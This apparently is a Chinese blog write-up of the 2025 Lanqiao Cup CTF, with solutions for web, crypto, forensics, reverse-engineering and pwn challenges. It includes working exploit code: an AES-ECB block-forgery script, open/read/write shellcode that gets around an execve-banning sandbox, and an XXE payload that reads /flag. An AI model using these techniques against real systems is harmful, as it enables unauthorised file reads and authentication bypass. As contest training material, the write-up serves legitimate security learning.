2025年第十六届蓝桥杯网络安全赛项WriteUp(附所有题目)

前言

欢迎关注公众号【Real返璞归真】回复【蓝桥杯2025】获取完整题目附件。

今年是第三届蓝桥杯CTF,相比于以往两届,今年没有了理论题。其它题目整体上来看比较简单。

截止比赛结束,签到题共2345解,大约前235名可以获得省一等奖进入决赛。

情报收集

解题情况

image-20250426104908653

密室黑客逃脱

你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。

靶机题目,访问靶机后提示:

image-20250426104024130

点击【立即查看日志】:

image-20250426104101921

给出一串加密字符串,点击【前往秘密区域】:

image-20250426104141212

提示我们去访问/file?name=xxx,让我们猜测文件名。

访问app.py发现代码:

image-20250426104336547

import os
from flask import Flask, request, render_template
from config import *
# author: gamelab

app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO

# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/logs')
def logs():
    return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
    return render_template('secret.html')

@app.route('/file')
def file():
    file_name = request.args.get('name')
    if not file_name:
        return render_template('no_file_name.html')
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
    if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
        return render_template('no_premission.html')
    try:
        with open(full_path, 'r') as f:
            content = f.read()
        return render_template('file_content.html', content=content)
    except FileNotFoundError:
        return render_template('file_not_found.html')

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

程序使用simple_encrypt()函数对敏感信息进行加密,当用户访问/logs页面时返回加密后的敏感信息。

当用户访问/hidden.txt页面时返回密钥key,我们手动访问一下:

image-20250426104748899

我们有了加密算法、密钥和密文,可以编写解密函数获取明文:

def simple_decrypt(encrypted_hex, key):
    encrypted_bytes = bytearray.fromhex(encrypted_hex)

    decrypted = bytearray()
    for i in range(len(encrypted_bytes)):
        encrypted_char = encrypted_bytes[i]
        key_char = key[i % len(key)]
        decrypted.append(encrypted_char - ord(key_char))

    return decrypted.decode('utf-8')

print(simple_decrypt("d9d1c4d9e0abc2a497df9a9a6c5fa4c9c9a592a8c39ccba6709b6b98a0c7c6d89cd994a39aae6f6f68af", "secret_key8672"))

# flag{7c92fbd5-1df3-4d1f-8e4f-bcf7e5855791}

数据分析

解题情况

image-20250426104931224

ezEvtx

EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。

(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀)

用Windows自带的事件查看器打开,点击右侧搜索按钮,搜索文件关键字:

image-20250426111752997

找到目标日志,文件名为confidential.docx

flowzip

There are many zip files.

打开过滤HTTP请求,发现有100个压缩包,本来以为需要全部提取后分卷解压:

image-20250426111853227

但是发现直接搜索flag字符串,可以找到flag:

image-20250426111944991

密码破解

解题情况

image-20250426105529416

Enigma

Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。

(本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。)

打开后发现是Cyberchef使用Enigma加密结果的页面:

image-20250426112047063

打开Cyberchef,选择Enigma加密算法。

放入密文,发现直接出现了明文,怀疑可能是对称加密:

image-20250426112126360

ECBTrain

AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战?

靶机题目,加密算法为AES的ECB模式。利用了 AES-ECB 加密模式的分块独立加密特性。

ECB 模式下,相同的明文块始终加密为相同的密文块,且各块加密互不影响。

思路:

  1. 首先发送特定填充数据获取正常密文结构
  2. 然后构造包含admin的输入,使其单独成为一个加密块
  3. 最后将目标密文块替换到原始密文中,伪造有效凭证

完整exp:

from pwn import *

p = remote("0.0.0.0", 12345)

# 第一次加密:获取填充后的密文结构
p.sendlineafter(b":", b"1")
# 发送两个完整块(16字节)加一个字节,使第三个块只包含一个字节
p.sendlineafter(b":", b"\x0f"*16 + b"\x0f"*16 + b"\x0f")
p.sendlineafter(b":", b"123456")

enc1 = p.recvline().decode().strip().split(":")[-1]
print("enc1:", enc1)

# 第二次加密:构造包含"admin"的数据
p.sendlineafter(b":", b"1")
# 发送三个完整块加"admin",使"admin"单独成为一个块
p.sendlineafter(b":", b"\x0f"*16 + b"\x0f"*16 + b"\x0f"*16 + b"admin")
p.sendlineafter(b":", b"123456")

enc2 = p.recvline().decode().strip().split(":")[-1]
print("enc2:", enc2)

# 提取"admin"对应的密文块
# 假设"admin"块是第四个块(索引3),因为前三个块是填充
admin_block = enc2[96:128]  # 每个块32个十六进制字符(16字节)

# 构造认证数据:用admin块替换原始密文中的某个块
auth_data = enc1[:32] + admin_block

# admin认证登录
p.sendlineafter(b":", b"2")
p.sendlineafter(b":", auth_data.encode())

p.interactive()

easy_AES

题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?

不是很擅长密码学题目,这道题没有写。

逆向分析

解题情况

image-20250426105839190

ShadowPhases

在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:'相位间存在密钥共鸣,但需警惕内存中的镜像陷阱…

拖入IDA分析,发现会将我们的input与enc进行比较:

image-20250426112307502

直接动态调试,拿出enc的数据即可:

image-20250426112343802

BashBreaker

赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。

脑洞题目,找到main函数后发现有一个key解密函数:

image-20250426132225973

将其if判断语句patch为nop后打印出key:

image-20250426132246168

但没有找到加密流程和密文,函数表中有魔改的rc4函数:

image-20250426133801599

但没有进行调用。后续不知道如何下手。

最后找来找去,发现有一个数据区可能是密文:

image-20250426134025321

然后使用rc4解密密文:

from Crypto.Cipher import ARC4
import binascii

def rc4(key: bytes, data: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + (key[i % len(key)] ^ 0x37)) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        k = ((16 * k) | (k >> 4)) & 0xff
        result.append((byte ^ k)&0xff)

    return bytes(result)

if __name__ == "__main__":
    key = b"EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD"
    enc = [0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48,
  0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75, 0x8C, 0x89, 0xCD, 0xDD,
  0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43,
  0xE1, 0xD2, 0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02,
  0x39, 0x18]
    plaintext = bytes(enc)

    ciphertext = rc4(key, plaintext)
    print("加密结果(Hex):", bytes(ciphertext))

如果你感到这个解题思路很离谱的话,那就对了。

严重怀疑是不是出题人放错题了?把半成品放进来了?

还是说现在CTF逆向题都要往脑洞题的方向发展了吗?

以后出题是不是要把加密函数和密文藏程序里,然后main函数也不给,让解题的人自己猜?

其实就算你猜到了,你也不一定能做出来。

因为解密后的key是bytes,而不是大家加密后常用的hex。

逆向 + 脑洞,请出题人以后不要再出这种题了。

漏洞挖掘分析

解题情况

image-20250426110021606

RuneBreach

你是一名穿越到异世界的勇者,正面临最终决战!邪恶的 Boss 即将占领你的王国,唯一的机会就是利用传说中的“漏洞之剑”击败它。

然而,Boss 在战场上布下了魔法沙箱结界,禁止你使用常规的“召唤术”!你必须找到结界中的弱点,注入符文,才能给予 Boss 致命一击!

拖入IDA分析:

image-20250426112440996

发现开启沙箱保护,然后使用mmap创建了一块内存空间,然后进入battle_loop()函数:

image-20250426112548748

根据每轮我们输入的y/N选择是否防御,最终根据player和boss的胜负分别进入boss_victory()和victory_message()函数。

跟进boss_victory()函数分析:

image-20250426112647889

发现设置申请的内存为可读可写可执行权限,并允许我们输入shellcode执行。

因此,我们一直输入N选择不防御,让玩家死亡即可进入该流程。

查看沙箱保护,禁用execve:

image-20250426113025657

我们直接orw即可,完整exp:

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])
p = remote("0.0.0.0", 12345)

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

for i in range(4):
    p.sendlineafter(b"Defend? (y/N): ", b"N")

shellcode = asm("""
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
""")
p.send(shellcode)

# gdb.attach(p)
# pause()

p.interactive()

星际XML解析器

你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘!

image-20250426110350365

打开发现是一个XML解析器,编写payload:

<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<aaa>
<name>&xxe;</name>
</aaa>

当服务器解析这段XML时:

  1. 遇到&xxe;引用时,尝试加载定义的外部实体
  2. 通过file://协议,解析器会读取服务器上的/flag文件
  3. flag文件内容会被包含在XML响应中返回

image-20250426110836497

Jdbc_once

Fenjing是一款为CTF比赛设计的自动化脚本,专注于Jinja SSTI漏洞利用,旨在绕过WAF。它能自动攻击指定网站或接口,省去手动测试和fuzz WAF的时间。通过智能生成payload,支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。

(题目同时开放了8888端口和80端口,该题目允许使用互联网辅助答题,不允许使用AI作答)

0解题目。

数据库安全

解题情况

image-20250426124605929

crawler

一个简单的爬虫系统,测测它的安全问题吧!

2解题目,近几年的数据安全题好像基本没有人做。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值